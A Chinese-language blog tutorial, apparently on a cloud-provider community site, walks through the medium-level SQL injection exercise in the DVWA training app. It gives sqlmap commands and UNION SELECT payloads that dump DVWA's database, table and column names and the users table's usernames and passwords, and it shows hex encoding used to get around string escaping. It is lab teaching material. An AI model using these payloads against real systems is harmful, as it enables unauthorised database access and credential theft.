[网络安全]DVWA之SQL注入—medium level解题详析

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: 提交用户名后URL并未产生参数的传输,结合页面源代码发现,该数据请求类型为POST请求。

提交用户名后URL并未产生参数的传输,结合页面源代码发现,该数据请求类型为POST请求。


判断漏洞类型

判断是否为数字型注入


使用hackbar进行POST:id=1 and 1=1 &submit=submit 回显如下:

image.png

再POST:id=1 and 1=2 &submit=submit 无任何回显

说明该漏洞类型为数字型注入漏洞


使用BurpSuite进行POST

先抓ID=1的数据包

image.png

在Repeater中修改ID参数为id=1 and 1=1 &Submit=Submit,回显如下:

image.png

再将ID参数修改为id=1 and 1=1 &Submit=Submit 无任何回显

说明该漏洞类型为数字型注入漏洞


判断注入点个数

提交参数id=1 and order by 4

image.png

说明注入点少于4个

不断尝试后得知注入点为2个


BurpSuite+sqlmap数字型注入

具体方式可参考:[网络安全]以留言板项目渗透实例带你入门sqlmap

将拦截包另存为1.txt,放在sqlmap目录下

注意:在sqlmap中不需要考虑注入点的个数


爆数据库名

输入python sqlmap.py -r 1.txt(文件名,下同) -p id(参数名,下同) --dbs

回显如下:

image.png

image.png

爆dvwa库的表名

输入python sqlmap.py -r 1.txt -p id -D dvwa(数据库名,下同) --tables

回显如下:

image.png

image.png

爆users表的列名

输入python sqlmap.py -r 1.txt -p id -D dvwa -T users(表名,下同) --columnsimage.png

回显如下:

image.png


爆列中的字段

输入python sqlmap.py -r 1.txt -p id -D dvwa -T users -C user,password(列名) --dumpimage.png

回显如下:

image.png


基于POST请求的sqlmap数字型注入

查看是否存在注入点

image.png

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1"

回显如下:image.png

故注入点存在


查询数据库名

image.png

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" --dbs

回显如下:

image.png


查询dvwa库的表名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa --tablesimage.png

回显如下:


image.png

查询users表的列名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users --columnsimage.png

回显如下:

image.png


查询列中的字段

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users -C user,password --dumpimage.png

回显如下:

image.png


基于POST请求的BrupSuite数字型注入

注意:在使用BurpSuite进行sql注入时,需要考虑注入点个数


查询数据库名

输入1 union select database()#

回显如下:image.png

可以看到 当sql语句中的注入点个数与判断出的注入点个数不相符时,攻击失败

输入1 union select 1,database()#

回显如下:

image.png


查询dvwa库的表名

输入1 union select 1,table_name from information_schema.tables where table_schema='dvwa'#

回显如下:

image.png


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘dvwa’#’ at line 1 您的SQL语法有错误;查看与MySQL服务器版本相对应的手册,了解在第1行“‘dvwa’#'附近使用的正确语法

查看源代码:

image.png

这行代码使用了PHP内置的 mysqli_real_escape_string() 函数对 $id 变量进行转义处理,以防止 SQL 注入攻击。

例如,如果 $id 变量包含如下字符串:

O'qiushuo

则调用 mysqli_real_escape_string() 函数时,将返回如下字符串:

O\'qiushuo

这样可以保证在 SQL 查询语句中使用 $id 变量时,不会因为包含特殊字符而出现 SQL 注入攻击等问题。


针对特殊字符转义的编码绕过

在 Web 应用程序中,当用户在浏览器中提交表单时,浏览器会对数据进行 URL 编码,然后再将编码后的数据发送到后端服务器上。

攻击者可利用编码方式将SQL 语句和特殊字符进行编码,以绕过应用程序中的安全检查和转义机制。常见的编码方式包括十六进制编码、Unicode 编码、URL 编码等。


十六进制编码

dvwa经十六进制编码后变为64767761

修改以上语句为1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#

注意:要在64767761加上0x声明它为十六进制

image.png

得到两个表名,guestbook和users


Unicode编码

dvwa的Unicode编码为\u0064\u0076\u0077\u0061

由于mysql_real_escape_string() 函数转义了 \ 所以Unicode编码绕过失效


URL编码

网址规定了常用的数字、字母可以直接使用,另外一批作为特殊用户字符也可以直接用(如/ : @ '等),剩下的其它所有字符必须通过%xx编码处理。

image.png

由于字符串’dvwa’中所有的字符均不需要编码,所以URL编码绕过失效。


查询users表的列名

users的十六进制为7573657273

输入id=1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#

回显如下:

image.png


查询列中的字段

输入id=1 union select user,password from users#

注意:由于注入点为两个,所以不能输入id=1 union select 1,user,password from users#,否则该语句认为注入点是三个。

回显如下:

image.png


回显技巧

注入成功后,可选择响应中的页面渲染功能,将回显注入后的页面,直观清晰。

image.png

image.png

3. group_concat函数


group_concat函数 是 MySQL 中的一个聚集函数,用于将指定列(或表达式)的值以逗号分隔的形式进行拼接。

举例如下:

输入id=1 union select 1,group_concat(user,password)from users#

回显:

image.png

该图比上图更为简洁明了


总结

以上为DVWA之SQL注入—medium level解题详析,结合三种注入姿势分享SQL攻击知识。

后续会分享DVWA之SQL注入—High level攻击姿势及解题详析。

我是秋说,我们下次见。


相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
1月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
52 2
|
3月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
142 5
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
84 5
|
3月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
127 1
|
3月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
58 1
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
58 3
|
3月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
95 6
|
6天前
|
SQL 安全 网络安全
网络安全与信息安全:知识分享####
【10月更文挑战第21天】 随着数字化时代的快速发展,网络安全和信息安全已成为个人和企业不可忽视的关键问题。本文将探讨网络安全漏洞、加密技术以及安全意识的重要性,并提供一些实用的建议,帮助读者提高自身的网络安全防护能力。 ####
43 17
|
17天前
|
存储 SQL 安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
随着互联网的普及,网络安全问题日益突出。本文将介绍网络安全的重要性,分析常见的网络安全漏洞及其危害,探讨加密技术在保障网络安全中的作用,并强调提高安全意识的必要性。通过本文的学习,读者将了解网络安全的基本概念和应对策略,提升个人和组织的网络安全防护能力。
|
18天前
|
SQL 安全 网络安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
随着互联网的普及,网络安全问题日益突出。本文将从网络安全漏洞、加密技术和安全意识三个方面进行探讨,旨在提高读者对网络安全的认识和防范能力。通过分析常见的网络安全漏洞,介绍加密技术的基本原理和应用,以及强调安全意识的重要性,帮助读者更好地保护自己的网络信息安全。
40 10